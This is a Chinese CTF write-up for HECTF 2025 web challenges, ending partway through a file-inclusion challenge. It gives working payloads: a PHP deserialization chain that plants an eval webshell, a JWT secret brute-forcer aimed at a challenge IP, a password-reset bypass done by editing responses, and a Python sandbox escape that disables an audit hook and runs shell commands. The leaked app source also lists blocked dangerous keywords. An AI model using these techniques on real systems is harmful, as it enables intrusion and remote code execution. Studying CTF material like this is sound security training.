【2025】HECTF

复制代码
	第一天打得头疼眼睛疼,我以为是被脑洞给干烂了,结果是tm感冒了,回去吃个药秒好了,但是脑洞太难蚌了,第二天打舞萌去了,没解后面的题了,不过幸好没看,后面有些题还真不大好写。

Web:

老爷爷的金块

现在不知不觉2025年了,曾经在4399里遨游的小孩儿也变成大人了... 重新看了一遍4399的经典游戏,想起了这个努力挖矿的老爷爷。 下载附件,打开exe,重温童年的乐趣!

提示11.请注意获得的flag第六段前面有一个空格哦~

​ 打开是个游戏,打完就有flag,当然分数要过1000

​ 另外一个想法,就是,浏览文件,发现bk_flag.png等多个图片,winhex打开,搜索flag,不知道为啥IDA里没有,找到了这个:

​ 把这个交上去看看,成功。

PHPGift

​ ctrl+u看到:

html 复制代码
    <!-- hhhhhh!!!! where is xxx.php -->

​ 提示是三字文件,flag上面有个ser是唯一三字符的读读看:

php 复制代码
<?php
error_reporting(0);

class FileHandler {
    private $fileHandle;
    private $fileName;

    public function __construct($fileName = 'data.txt') {
        $this->fileName = $fileName;
        $this->fileHandle = fopen($fileName, 'a');
    }

    public function __destruct() {
        if ($this->fileHandle) {
            fclose($this->fileHandle);
        }
        echo $this->fileName; 
    }
}

class Config {
    private $settings = [];

    public function __get($key) {
        return $this->settings[$key] ?? null;
    }

    public function __set($key, $value) {
        $this->settings[$key] = strip_tags($value);
    }
}

class MySessionHandler {
    private $sessionId;
    private $data = [];

    public function __wakeup() {
        $this->data = [];
        $this->sessionId = uniqid('sess_', true);
    }
}

class User {
    private $userData = [];
    public $data;
    public $params;

    public function __set($name, $value) {
        $this->userData[$name] = $value;
    }

    public function __get($name) {
        return $this->userData[$name] ?? null;
    }

    public function __toString() {
        if (is_string($this->params) && is_array($this->data) && count($this->data) === 2) {
            call_user_func($this->data, $this->params);
        }
        return "User";
    }
}

class CacheManager {
    private $cacheDir;
    private $ttl;

    public function __construct($dir = '/tmp/cache', $ttl = 3600) {
        $this->cacheDir = $dir;
        $this->ttl = $ttl;
    }

    public function __destruct() {
        error_log("[Cache] Destroyed manager for {$this->cacheDir}");
    }
}

class Logger {
    private $logFile;

    public function __construct($logFile = 'app.log') {
        $this->logFile = $logFile;
    }

    public function setLogFile($file) {
        $this->logFile = $file;
    }

    private function log($message) {
        file_put_contents($this->logFile, $message . PHP_EOL, FILE_APPEND);
    }

    public function __invoke($msg) {
        $this->log($msg);
    }
}

class UserProfile {
    public $name;
    public $email;

    public function __toString() {
        return "User: {$this->name} ({$this->email})";
        echo $this->name;
        echo $this->email;
    }
}

class MathHelper {
    private $factor = 1;

    public function __invoke($x) {
        return $x * $this->factor; 
    }
}


if (isset($_GET['data'])) {
    $input = $_GET['data'];
    if (preg_match('/bash|sh|exec|system|passthru|`|eval|assert/i', $input)) {
        die("Hacker?\n");
    }
    @unserialize(base64_decode($input));
    echo "Done.\n";
} else {
    highlight_file(__FILE__);
}

​ pop链。

​ 链子思路大概是Logger中的__invoke,触发之后调用log进行任意文件写,在这里写入木马即可,那么调用__invoke的点可以是User中的call_user_func__toString可以由FileHandler中的echo $this->fileName; 触发,再向上就是__destruct,其他杂七杂八的类和方法太多了,看上去这个题难,结果一看好像不难,生成payload如下:

php 复制代码
<?php
error_reporting(0);

class FileHandler {
    public $fileHandle;
    public $fileName;

}

class User {
    public $userData;
    public $data;
    public $params = '<? eval($_POST[1]) ?>';

}

class Logger {
    public $logFile="upload.php";

}
$logger = new Logger();

$a = new FileHandler();
$a->fileName = new User();
$a->fileName->data = [$logger,"__invoke"];

echo base64_encode(serialize($a));
echo "\n";


#TzoxMToiRmlsZUhhbmRsZXIiOjI6e3M6MTA6ImZpbGVIYW5kbGUiO047czo4OiJmaWxlTmFtZSI7Tzo0OiJVc2VyIjozOntzOjg6InVzZXJEYXRhIjtOO3M6NDoiZGF0YSI7YToyOntpOjA7Tzo2OiJMb2dnZXIiOjE6e3M6NzoibG9nRmlsZSI7czoxMDoidXBsb2FkLnBocCI7fWk6MTtzOjg6Il9faW52b2tlIjt9czo2OiJwYXJhbXMiO3M6MjE6Ijw/IGV2YWwoJF9QT1NUWzFdKSA/PiI7fX0=

​ 之后访问upload.php拿到shell,传参是1。

​ base64解码得到:HECTF{c0ngr4ts_l1ttl3_h4ck3r_y0u_f0und_my_53cr3t_g1ft}

像素勇者和神秘宝藏

​ 三个门,有用代码如下:

html 复制代码
    <script>
        let courage = 0; // 初始勇气值

        function updateDisplay() {
            document.getElementById('courage-display').textContent = courage;
        }

        function buyPotion() {
            courage += 50;
            updateDisplay();
        }

        function enter(door) {
            if (door === 'A') {
                if (courage < 10000) {
                    alert("⚠️ 勇气不足!需要至少 10000 点才能挑战 Door A!");
                    return;
                }
                // 扣除 5000 勇气
                courage -= 5000;
                updateDisplay();
            }

            fetch('/enter', {
                method: 'POST',
                headers: {'Content-Type': 'application/x-www-form-urlencoded'},
                body: `door=${door}&courage=${courage}`
            })
            .then(r => r.json())
            .then(data => {
                alert(data.msg);
                if (data.flag) {
                    setTimeout(() => {
                        window.location = '/victory?flag=' + encodeURIComponent(data.flag);
                    }, 1000);
                }
            })
            .catch(e => alert('请求失败'));
        }
        updateDisplay();
    </script>
</body>
<!--
    A: 什么???我们是不是好兄弟,你背着我偷偷打什么比赛???
    B: 没有啦,你要打吗,HECTF,来玩吧。
    A: 可以啊!够兄弟的,HECTF是大写还是小写,我去搜搜。
    B: 嘿嘿,这是秘密,你试试就知道啦。
    A: 行吧,你真讨厌。
-->

​ 第一个门就正常按按鼠标就开了,多点很多次而已,第二个门是只有vip勇者能进,点击获取令牌,然后抓包发现Cookie:

tex 复制代码
role=user; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicGxheWVyIiwiYmxlc3NlZCI6ZmFsc2UsImV4cCI6MTc2NjIyNTY0OH0.H10-DibPmALQ0RyNSp08JlQlL4Rmc7wo8cOd1kau1-U

​ 看起来是Jwt解密,role也是user,姑且把user换成vip(这里是小写,因为大写绕不过)绕过:

VIP 通道畅通!但宝藏仍被封印......

​ 说明得开第三门,Jwt解密看看:

​ 根据这个猜测把blessed换成true即可,那么就是猜测密钥的问题了,根据上面注释:

tex 复制代码
<!--
    A: 什么???我们是不是好兄弟,你背着我偷偷打什么比赛???
    B: 没有啦,你要打吗,HECTF,来玩吧。
    A: 可以啊!够兄弟的,HECTF是大写还是小写,我去搜搜。
    B: 嘿嘿,这是秘密,你试试就知道啦。
    A: 行吧,你真讨厌。
-->

​ 先说了 HECTF是大写还是小写,然后后面又说了 这是秘密,草,坑在这里啊,HECTF就是密钥,吗?那么密钥的大写和小写就是问题了, 直接爆破,下面这个代码直接运行就能爆破出flag:

python 复制代码
import jwt
import itertools
import requests
import time
from requests.exceptions import RequestException

def generate_hectf_jwt_list():
    """生成HECTF所有大小写组合对应的JWT列表(返回:[(密钥, JWT令牌), ...])"""
    # 1. 固定JWT Header(与你提供的token格式一致)
    jwt_header = {
        "alg": "HS256",
        "typ": "JWT"
    }

    # 2. 固定JWT Payload(与你提供的token载荷一致,可按需调整blessed/exp字段)
    jwt_payload = {
        "user": "player",
        "blessed": True,  # 可尝试改为False测试不同状态
        "exp": 1766225297  # 若提示令牌过期,可改为当前时间戳+3600(例如int(time.time())+3600)
    }

    # 3. 生成HECTF所有大小写组合(2^5=32种)
    base_chars = "HECTF"
    char_options = [[c.upper(), c.lower()] for c in base_chars]
    hectf_secret_list = [''.join(comb) for comb in itertools.product(*char_options)]

    # 4. 生成每个密钥对应的JWT
    jwt_list = []
    for secret in hectf_secret_list:
        try:
            jwt_token = jwt.encode(
                payload=jwt_payload,
                key=secret,
                algorithm="HS256",
                headers=jwt_header
            )
            # 兼容pyjwt不同版本的返回格式(部分版本返回bytes,需转为字符串)
            if isinstance(jwt_token, bytes):
                jwt_token = jwt_token.decode("utf-8")
            jwt_list.append((secret, jwt_token))
        except Exception as e:
            print(f"⚠️  密钥 {secret} 生成JWT失败:{e}")
    return jwt_list

def test_jwt_batch(target_url, jwt_list):
    """批量测试JWT有效性,精准识别无效令牌响应,优化输出"""
    # 1. 固定请求头(复用原始请求头,动态替换Cookie)
    base_headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "*/*",
        "Origin": "http://47.100.66.83:32714",
        "Referer": "http://47.100.66.83:32714/",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close"
    }

    # 2. 固定请求体(可按需修改door或courage参数)
    request_body = "door=C&courage=1500"

    # 3. 无效令牌响应标识(用于过滤冗余输出)
    invalid_token_msg = "无效的神圣令牌"

    print(f"🚀 开始批量测试,共{len(jwt_list)}个JWT令牌...")
    print(f"📌 无效令牌响应将自动标记,仅高亮异常/有效结果\n")
    time.sleep(1)  # 延迟1秒,便于查看提示信息

    for idx, (secret, jwt_token) in enumerate(jwt_list, 1):
        # 动态构造Cookie
        current_headers = base_headers.copy()
        current_headers["Cookie"] = f"role=VIP; token={jwt_token}"

        try:
            # 发送POST请求
            response = requests.post(
                url=target_url,
                headers=current_headers,
                data=request_body,
                timeout=10
            )
            response_text = response.text.strip()
            status_code = response.status_code

            # 分类输出结果
            if invalid_token_msg in response_text and status_code == 403:
                # 无效令牌,简化输出
                print(f"第{idx:2d}个 | 密钥: {secret} | 状态: 403(无效令牌)")
            else:
                # 非无效令牌响应,详细输出(可能是有效结果或其他异常)
                print(f"\n===== 第{idx:2d}个测试(非无效令牌)======")
                print(f"密钥: {secret}")
                print(f"JWT: {jwt_token}")
                print(f"状态码: {status_code}")
                print(f"响应内容: {response_text}")
                print("-" * 60 + "\n")

                # 检测flag关键词,找到有效结果立即终止
                if "flag" in response_text.lower():
                    print(f"🎉 找到有效JWT!密钥:{secret}")
                    print(f"🎉 完整响应:{response_text}")
                    return secret, jwt_token

        except RequestException as e:
            # 请求异常,详细输出
            print(f"\n===== 第{idx:2d}个测试(请求异常)======")
            print(f"密钥: {secret}")
            print(f"JWT: {jwt_token}")
            print(f"❌ 异常信息:{e}")
            print("-" * 60 + "\n")

    print("\n🔍 批量测试完成!")
    print(f"提示:若全部为403无效令牌,可尝试:")
    print(f"  1. 修改JWT Payload中的blessed字段(True/False互换)")
    print(f"  2. 更新exp时间戳为当前有效时间(避免令牌过期)")
    print(f"  3. 调整请求体中的door(A/B/C)或courage参数值")
    return None, None

if __name__ == "__main__":
    # 目标URL
    TARGET_URL = "http://47.100.66.83:31648/enter"

    # 1. 生成JWT列表
    print("📌 正在生成HECTF所有大小写组合的JWT...")
    jwt_test_list = generate_hectf_jwt_list()
    print(f"📌 共生成{len(jwt_test_list)}个有效JWT令牌\n")

    # 2. 批量测试
    valid_secret, valid_jwt = test_jwt_batch(TARGET_URL, jwt_test_list)

    # 3. 最终结果汇总
    if valid_secret and valid_jwt:
        print(f"\n✅ 测试成功!")
        print(f"有效密钥:{valid_secret}")
        print(f"有效JWT:{valid_jwt}")
    else:
        print(f"\n❌ 未找到有效JWT,可参考提示调整参数后重试。")

谁家blog里有这功能?

Bob在宿舍里闲的damn疼,不知道干什么,他的朋友Alice最近整了个个人博客主页,最近几天天 天在他面前炫耀,他觉得心理很不爽,有种被朋友内卷自己却在摆烂而感觉到了背叛的感觉,于是 他费尽心力终于捣鼓出来了一个,但是他搓出来的网站有一些其他博客作者不会有的功能...

注意:由于出题人学艺不精的问题,在做题过程中可能会出现网站无法访问的情况,可能是exit把 整个程序停掉了,请等待三十秒,三十秒后应该会重新启动,若三十秒后没有启动的,可以重启环 境。

​ 一般类似的CMS的题直接登后台爆破弱口令碰碰运气,不过这个有可能爆不出来,但存在忘记密码的接口,这个是很多漏洞的可以利用的点,所以这里可以赌一把试试看:

​ 这里看url似乎有可以利用的点,测测看是否存在这种逻辑漏洞(前端对后端响应进行验证,然后跳转到第二个重置密码的页面,以此类推,直到最后的一个页面,当后端认为前两次验证已经完成了,不需要进行后续验证,之类可能会存在任意密码修改的洞,不过实际情况下应该大部分都修了,我这里只是模拟这个洞的点,不会根实际情况一样),这里抓一下响应包看看:

​ 相应包之类可以修改"success":false"success":true,成功跳转到第二次验证:

​ 之后随便输,抓包看看:

​ 原本的step1变成了step2,可以猜猜看最后的一步可以是step3或者step4,不过这里还是老老实实一步步下去,老样子,抓相应包,改参数:

​ 成功跳转到这一步,那就修改密码为123,之后抓包看看:

​ 之后抓相应包看看:

1117210622168.png&pos_id=img-A0YJbOft-1767957868072)

​ 这里我没改,证明修改密码成功了,之后就可以去登录了,成功进入后台:

​ 往下面翻发现了这里有个超链接,似乎可以点,点击之后发现是下载博客的地方:

​ 抓包之后发现了文件下载接口,似乎可以任意文件读:

​ 试着读取根目录下的flag文件失败了,被forbidden了,不过可以读取源码,直接下载app.py得到源码,源码里有用的地方在这儿:

python 复制代码
from flask import Flask, request, jsonify, render_template, session, redirect, url_for, flash,send_file, abort
import hashlib
import urllib.parse
import re
import os
import sys
from io import StringIO
from dis import dis
from contextlib import redirect_stdout
from random import randint, randrange, seed
from time import time

app = Flask(__name__)
app.secret_key = 'super_secret_key_for_session_2025'


users = {
    'admin': {
        'password_md5': hashlib.md5('KAlsidhKUHLKjhdskfhkajHSKDJH'.encode()).hexdigest(),
        'email': 'admin@example.com',
        'id_card': '110101199003072316',
        'phone': '13800138000'
    }
}


class SandboxSecurityException(Exception):
    pass
def source_simple_check(source):
    try:
        source.encode("ascii")
    except UnicodeEncodeError:
        raise ValueError("Non-ASCII characters are not allowed")

    dangerous_keywords = [  "__", "getattr", "setattr", "hasattr", "eval", "exec", "compile",
                            "open", "file", "os", "sys", "import", "exit", "quit", "vars",
                            "locals", "delattr", "help", "subprocess", "requests", "socket",
                            "urllib", "ctypes", "marshal", "pickle", "input", "codecs",
                            "__import__", "__builtins__", "__globals__", "__getattribute__",
                            "__class__", "__bases__", "__mro__", "__subclasses__", "__init__",
                            "__name__", "__dict__", "__code__", "__closure__", "__defaults__",
                            "mro", "subclasses", "importlib", "load", "loads", "dump", "dumps",
                            "system", "popen", "spawn", "fork", "exec", "chdir", "remove",
                            "rmdir", "mkdir", "listdir", "environ", "getenv", "putenv",
                            "read", "write", "close", "flush", "seek", "tell", "truncate",
                            "connect", "bind", "listen", "accept", "send", "recv", "gethostname",
                            "gethostbyname", "getaddrinfo", "urlopen", "urlretrieve", "Request",]
    for kw in dangerous_keywords:
        if kw in source.lower():
            raise ValueError(f"Disallowed keyword: {kw}")

def source_opcode_checker(code_obj):
    opcode_io = StringIO()
    dis(code_obj, file=opcode_io)
    opcodes = opcode_io.getvalue().splitlines()
    opcode_io.close()

    allowed_globals = {"print", "len", "str", "int", "float", "randint", "randrange", "seed"}

    for line in opcodes:
        if "LOAD_GLOBAL" in line:
            parts = line.split()
            if len(parts) >= 4 and parts[3].startswith('(') and parts[3].endswith(')'):
                name = parts[3][1:-1]
                if name not in allowed_globals:
                    raise ValueError(f"Disallowed global access: {name}")
        elif "IMPORT_NAME" in line:
            raise ValueError("Import statements are not allowed")
        elif "LOAD_METHOD" in line:
            pass


def temp_audit_hook(event, args):
    dangerous_events = {
        "os.system", "os.popen", "subprocess.Popen", "subprocess.call",
        "subprocess.check_output", "subprocess.run", "subprocess.getoutput",
        "builtins.eval", "builtins.compile", "builtins.__import__", "eval",
        "import", "importlib", "__import__", "importlib.import_module",
        "open", "file", "os.open", "os.read", "os.write",
        "urllib.request.urlopen", "urllib.request.Request", "requests.", "socket.socket",
        "http.client.HTTPConnection", "http.client.HTTPSConnection",
        "ctypes.", "marshal.loads", "os.execv", "os.execve", "os.execvp", "os.execvpe",
        "os.environ", "os.getenv", "os.getpid", "os.getuid",
        "subprocess.Popen", "subprocess.Popen", "os.system",
        "os.remove", "os.unlink", "os.chmod", "os.chown",
    }
    for dangerous_event in dangerous_events:
        if event == dangerous_event or event.startswith(dangerous_event + '.'):
            os._exit(0)



def is_valid_id_card(id_card):
    return bool(re.match(r'^\d{17}[\dXx]$', id_card))


def is_valid_phone(phone):
    return bool(re.match(r'^1[3-9]\d{9}$', phone))


BLOG_DIR = 'blog'
os.makedirs(BLOG_DIR, exist_ok=True)

def get_blog_posts():
    posts = []
    for filename in os.listdir(BLOG_DIR):
        if filename.endswith('.html'):
            match = re.match(r'^(\d+)、(.+)\.html$', filename)
            if match:
                num = int(match.group(1))
                title = match.group(2)
                posts.append({
                    'num': num,
                    'title': title,
                    'filename': filename
                })
    posts.sort(key=lambda x: x['num'], reverse=True)
    return posts

def get_next_post_number():
    max_num = 0
    for filename in os.listdir(BLOG_DIR):
        if filename.endswith('.html'):
            match = re.match(r'^(\d+)、', filename)
            if match:
                num = int(match.group(1))
                if num > max_num:
                    max_num = num
    return max_num + 1


@app.route('/')
def index():
    logged_in = 'username' in session
    posts = get_blog_posts()
    return render_template('index.html', logged_in=logged_in, posts=posts)

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if not username or not password:
            flash('请输入用户名和密码')
            return render_template('login.html')

        pwd_md5 = hashlib.md5(password.encode()).hexdigest()
        user = users.get(username)
        if user and user['password_md5'] == pwd_md5:
            session['username'] = username
            return redirect('/admin')
        else:
            flash('用户名或密码错误')
    return render_template('login.html')


@app.route('/logout')
def logout():
    session.pop('username', None)
    return redirect('/login')


@app.route('/blog/<filename>')
def view_blog(filename):
    if not filename.endswith('.html'):
        return "无效文件", 400
    filepath = os.path.join(BLOG_DIR, filename)
    if not os.path.exists(filepath):
        return "文章不存在", 404
    with open(filepath, 'r', encoding='utf-8') as f:
        content = f.read()
    return content

@app.route('/admin')
def admin_dashboard():
    if 'username' not in session:
        return redirect('/login')
    next_num = get_next_post_number()
    posts = get_blog_posts()
    return render_template('admin.html', username=session['username'], next_num=next_num, posts=posts)


@app.route('/admin/publish', methods=['POST'])
def publish_blog():
    if 'username' not in session:
        return jsonify({'success': False, 'message': '未登录'}), 403

    title = request.form.get('title', '').strip()
    content = request.form.get('content', '').strip()

    if not title or not content:
        return jsonify({'success': False, 'message': '标题和内容不能为空'})

    next_num = get_next_post_number()
    safe_title = "".join(c if c.isalnum() or c in (' ', '-', '_') else '_' for c in title)
    filename = f"{next_num}、{safe_title}.html"
    filepath = os.path.join(BLOG_DIR, filename)

    with open(filepath, 'w', encoding='utf-8') as f:
        f.write(content)

    return jsonify({'success': True, 'message': f'博客《{title}》发布成功!'})


@app.route('/admin/download')
def download_file():
    if 'username' not in session:
        return redirect('/login')
    filename = request.args.get('file', '')
    if not filename:
        abort(400)
    try:
        filename = urllib.parse.unquote(filename)
    except Exception:
        abort(400)
    file_path = os.path.abspath(filename)
    project_root = os.path.abspath(os.getcwd())
    blog_dir = os.path.abspath('blog')
    allowed_dirs = [project_root, blog_dir]
    if not any(file_path.startswith(allowed + os.sep) or file_path == allowed for allowed in allowed_dirs):
        abort(403)
    basename = os.path.basename(file_path)
    if not (basename == 'app.py' or basename.endswith('.html')):
        abort(403)
    if not os.path.isfile(file_path):
        abort(404)
    return send_file(file_path, as_attachment=True)


@app.route('/admin/oj', methods=['GET', 'POST'])
def oj():
    if 'username' not in session or session['username'] != 'admin':
        return redirect('/login')

    if request.method == 'POST':
        data = request.json
        code = data.get('code', '').strip()

        if not code:
            return jsonify({"error": "代码不能为空"}), 400

        try:
            source_simple_check(code)
            compiled_code = compile(code, "<sandbox>", "exec")
            source_opcode_checker(compiled_code)
            safe_builtins = {
                "print": print,
                "len": len,
                "str": str,
                "int": int,
                "float": float,
                "randint": randint,
                "randrange": randrange,
                "seed": seed,
                "range":range,
            }
            sys.addaudithook(temp_audit_hook)
            stdout = StringIO()
            with redirect_stdout(stdout):
                try:
                    seed(str(time()) + "CTF_SANDBOX" + str(id(code)))
                    exec(compiled_code, {"__builtins__": safe_builtins}, {})
                finally:
                    if hasattr(sys, 'audithooks'):
                        sys.audithooks.clear()

            output = stdout.getvalue()
            return jsonify({"output": output})

        except SandboxSecurityException as e:
            return jsonify({"error": f"安全拦截: {str(e)}"}), 403
        except Exception as e:
            return jsonify({"error": f"执行错误: {str(e)}"}), 400

    return render_template('admin.html', username=session['username'])

@app.route('/reset')
def reset_page():
    return render_template('reset.html')



@app.route('/api/reset/step1', methods=['POST'])
def reset_step1():
    data = request.get_json()
    username = data.get('username')
    email = data.get('email')
    user = users.get(username)
    if user and user['email'] == email:
        return jsonify({'success': True, 'message': '邮箱验证成功'})
    return jsonify({'success': False, 'message': '用户名或邮箱不匹配'})


@app.route('/api/reset/step2', methods=['POST'])
def reset_step2():
    data = request.get_json()
    username = data.get('username')
    id_card = data.get('id_card', '').strip()
    phone = data.get('phone', '').strip()
    user = users.get(username)
    if not user:
        return jsonify({'success': False, 'message': '无效用户'})
    if (
            is_valid_id_card(id_card) and
            is_valid_phone(phone) and
            user['id_card'] == id_card and
            user['phone'] == phone
    ):
        return jsonify({'success': True, 'message': '身份信息验证成功'})
    return jsonify({'success': False, 'message': '身份证号或手机号错误'})


@app.route('/api/reset/step3', methods=['POST'])
def reset_step3():
    data = request.get_json()
    username = data.get('username')
    new_password = data.get('new_password')
    confirm_password = data.get('confirm_password')
    if new_password != confirm_password:
        return jsonify({'success': False, 'message': '两次密码不一致'})
    if username not in users:
        return jsonify({'success': False, 'message': '用户不存在'})
    users[username]['password_md5'] = hashlib.md5(new_password.encode()).hexdigest()
    return jsonify({'success': True, 'message': '密码重置成功!'})


if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)

​ 这是一个沙箱,可以执行代码,但是,存在三重检验,一个是源码层面的检验source_simple_check,需要代码里不存在这些黑名单关键词,第二层是字节码检验,第三层是运行时检验,也就是常说的addaudithook,主要需要绕过的是第一层和第三层,可以先从沙箱入手,想办法绕过沙箱,不过,沙箱中的"__builtins__": safe_builtins,可知内建函数中没有可以让我们导入的东西,那么可以想办法逃逸出沙箱,到更外层可能会有可以使用的点,所以用栈帧逃逸逃到外界即可。

​ 首先是想办法逃逸到外界,我们可以确定的是,外界的程序里肯定是有"__builtins__"的,那么就可以通过如下方式进行绕过:

python 复制代码
def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    return b
b=waff()
print(b)

#输出结果
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f7cb887bbd0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/app/app.py', '__cached__': None, 'Flask': <class 'flask.app.Flask'>, 'request': <Request 'http://47.92.129.245:5000/admin/oj' [POST]>, 'jsonify': <function jsonify at 0x7f7cb7976a20>, 'render_template': <function render_template at 0x7f7cb769c680>, 'session': <Secu。。。。。。。。

​ 可见,这里存在"__builtins__",可惜是个函数,那么,看看这一层是哪一层:

python 复制代码
def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back for _ in [1])
    b=[*q][0]
    return b
b=waff()
print(b) 

#<frame at 0x7f7cb76e3de0, file '/app/app.py', line 263, code oj>

​ 先来做个test文件测试下,将这两个沙箱函数稍微改改,本地调试下:

python 复制代码
def source_opcode_checker(code_obj):
    opcode_io = StringIO()
    dis(code_obj, file=opcode_io)
    opcodes = opcode_io.getvalue().splitlines()
    opcode_io.close()

    allowed_globals = {"print", "len", "str", "int", "float", "randint", "randrange", "seed"}

    for line in opcodes:
        if "LOAD_GLOBAL" in line:
            pass
        elif "IMPORT_NAME" in line:
            raise ValueError("Import statements are not allowed")
        elif "LOAD_METHOD" in line:
            pass


def temp_audit_hook(event, args):
    dangerous_events = {
        "os.system", "os.popen", "subprocess.Popen", "subprocess.call",
        "subprocess.check_output", "subprocess.run", "subprocess.getoutput",
        "builtins.eval", "builtins.compile", "builtins.__import__", "eval",
        "import", "importlib", "__import__", "importlib.import_module",
        "open", "file", "os.open", "os.read", "os.write",
        "urllib.request.urlopen", "urllib.request.Request", "requests.", "socket.socket",
        "http.client.HTTPConnection", "http.client.HTTPSConnection",
        "ctypes.", "marshal.loads", "os.execv", "os.execve", "os.execvp", "os.execvpe",
        "os.environ", "os.getenv", "os.getpid", "os.getuid",
        "subprocess.Popen", "subprocess.Popen", "os.system",
        "os.remove", "os.unlink", "os.chmod", "os.chown",
    }
    for dangerous_event in dangerous_events:
        if event == dangerous_event or event.startswith(dangerous_event + '.'):
            pass

​ 可以简单整改下源码任期能够在本地运行,之后就是调试:

python 复制代码
def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    return b
b=waff()
print(b)

#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fcb0591f090>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>,。。。。。。。。。

​ 这里的"__builtins__"是模块,但是因为第一层waf过滤太多关键字了,所以根据模块的调用方式这个似乎没法进行绕过,那么再回溯一层再看看:

python 复制代码
def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    return b
b=waff()
print(b)

#。。。。。。'__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, types, exceptions, and other objects.\n\nThis module provides direct access to all 'built-in'\nidentifiers of Python; for example, builtins.len is\nthe full name for the built-in function len().\n\nThi 。。。。。。

​ 这里就成了字典,那么就可以进行绕过了,这里成功获取了"__builtins__"的字典,那么在题目里测试下看看:

python 复制代码
def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    if '_'*2+'builtins'+'_'*2 in b:
        print('ok')
    return b
b=waff()

# ok

​ 证明是成功了,但是,这里需要注意,如果直接输出 b 会导致程序crash掉,尽可能别输出,这似乎是别的什么问题导致的报错。

​ 既然有了"__builtins__"之后,那么就可以考虑直接把os._exit(0)给杨掉,这样就算执行了system之类的函数也不会报错,直接扔下payload:

python 复制代码
def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    if 'o'+'s' in b:
        b['_'*2+'builtins'+'_'*2]['set'+'attr'](b['o'+'s'], "_ex"+"it", print)
    return b
b=waff()

​ 这里通过了__builtins__中的setattr修改了os中的_exitprint,那么就算被钩子检测到了,也不用担心被直接退出了,之后就是直接 RCE 了:

python 复制代码
def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    if 'o'+'s' in b:
        b['_'*2+'builtins'+'_'*2]['set'+'attr'](b['o'+'s'], "_ex"+"it", print)
    return b
b=waff()
o_modules = b['_'*2+'builtins'+'_'*2]['get'+'attr']((b['_'*2+'builtins'+'_'*2]['get'+'attr'](b['o'+'s'], 'po'+'pen')('whoami')),"_proc").stdout
for o_module in o_modules:
    print(o_module)

#0。。。。。。
#root

​ 因为不能使用read()(在关键词上被禁用了),所以这里只有通过这种方式进行绕过了,通过getattr获取popen执行过后的对象中的_proc之后用stdout进行输出

​ 先贴一个payload,最后payload如下:

python 复制代码
def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    if 'o'+'s' in b:
        b['_'*2+'builtins'+'_'*2]['set'+'attr'](b['o'+'s'], "_ex"+"it", print)
    return b
b=waff()
o_modules = b['_'*2+'builtins'+'_'*2]['get'+'attr']((b['_'*2+'builtins'+'_'*2]['get'+'attr'](b['o'+'s'], 'po'+'pen')('whoami')),"_proc").stdout
for o_module in o_modules:
    print(o_module)

​ 这里就对这个payload就行下讲解就行了,就不一步步进行调试了:

​ 首先,三个waf函数里,第二个waf作用不是很大,但是会导致#错误: 执行错误: Disallowed global access: q,不过像之后那样就不会出现这个报错。第一个主要是杨掉了常见的字段,第三个则是沙箱的核心点,虽然看上去第三个waf防的很死,但是用处不大,因为是用的os._exit()直接exit掉了,所以这里直接给os里的这个方法给杨掉就行了,不需要在意,所以这里的payload就是:

python 复制代码
def waff():
    def f():
        yield g.gi_frame.f_back
    q = (q.gi_frame.f_back.f_back.f_back.f_back.f_globals for _ in [1])
    b=[*q][0]
    if 'o'+'s' in b:
        b['_'*2+'builtins'+'_'*2]['set'+'attr'](b['o'+'s'], "_ex"+"it", print)
    return b
b=waff()
o_modules = b['_'*2+'builtins'+'_'*2]['get'+'attr']((b['_'*2+'builtins'+'_'*2]['get'+'attr'](b['o'+'s'], 'po'+'pen')('cat /aaaFffLllA44Ggg')),"_proc").stdout
for o_module in o_modules:
    print(o_module)

​ 这里贴一下k13in大佬的poc:

python 复制代码
def f():
    x=(x.gi_frame.f_back for _ in [1]); return [*x][0]
fr=f(); k="\x6f\x73".encode().decode("unicode_escape"); p=fr
while p:
    g=p.f_globals
    if k in g:
        o=g[k]
        print([e.name for e in o.scandir("/")])
        print([e.name for e in o.scandir("/app")])
        break
    p=p.f_back

ez_include(复现)

不太一样的文件包含

​ 贴个源码:

php 复制代码
<?php
highlight_file(__FILE__);
$file = $_GET['file'] ?? null;
if ($file === 'tmp') {
    $tmpDir = '/tmp';
    if (!is_dir($tmpDir) || !is_readable($tmpDir)) {
        die("/tmp目录不可访问或不存在");
    }

    $files = scandir($tmpDir);
    if ($files === false) {
        die("无法扫描/tmp目录");
    }

    $phpFiles = [];
    foreach ($files as $filename) {
